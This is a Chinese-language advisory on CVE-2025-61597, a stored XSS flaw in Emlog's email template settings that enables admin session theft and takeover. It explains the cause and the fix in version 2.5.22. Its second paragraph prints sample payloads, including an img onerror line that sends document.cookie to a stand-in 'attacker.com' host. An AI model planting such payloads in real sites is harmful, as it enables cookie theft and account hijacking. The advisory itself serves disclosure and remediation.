CVE-2025-61597CVE-2025-61597是Emlog开源网站建设系统中存在的一个高危存储型跨站脚本(XSS)漏洞,影响版本2.5.21及以下。该漏洞源于邮件模板设置功能中缺乏对用户输入内容的充分过滤与转义处理,攻击者可以将恶意的HTML/JavaScript代码注入到邮件模板字段中并持久化存储。由于该注入内容存储在服务器端,每当已认证的管理员访问邮件模板设置页面时,浏览器会自动解析并执行其中嵌入的恶意JavaScript代码。攻击者可利用此漏洞窃取管理员的会话Cookie、CSRF令牌或其他敏感凭据,进而实现对目标站点的完整管理员账户接管。由于Emlog广泛应用于个人博客及中小型网站的管理后台,该漏洞对网站运营者的数据安全和账户安全构成严重威胁。该漏洞已在2.5.22版本中修复,官方通过PR #179提交了安全补丁,建议所有受影响用户尽快升级。
该漏洞的核心成因在于Emlog邮件模板设置模块在处理用户提交的模板内容时,未对HTML标签和JavaScript代码进行适当的过滤、转义或净化处理,直接将用户输入的内容渲染到管理后台页面中。具体而言,当管理员在邮件模板设置页面编辑模板内容时,攻击者(可能通过社工手段诱导管理员或在已获得低权限账户的情况下)可在模板字段中注入形如`<script>alert(document.cookie)</script>`或`<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>`的恶意载荷。由于后端未对输入进行安全过滤,该载荷被持久化保存至数据库中。随后,任何访问该设置页面的管理员用户,其浏览器将自动执行注入的恶意脚本。攻击者可利用JavaScript的同源策略绕过机制,通过`document.cookie`窃取会话令牌,或通过`fetch`/`XMLHttpRequest`向攻击者控制的服务器外泄敏感信息。更为严重的是,攻击者可在管理员上下文中执行任意操作,如创建新的管理员账户、修改站点配置、上传Webshell等,最终实现对目标站点的完全控制。CVSS评分7.6反映了该漏洞利用门槛低(仅需低权限和用户交互)但危害程度高(机密性和完整性影响均为高)。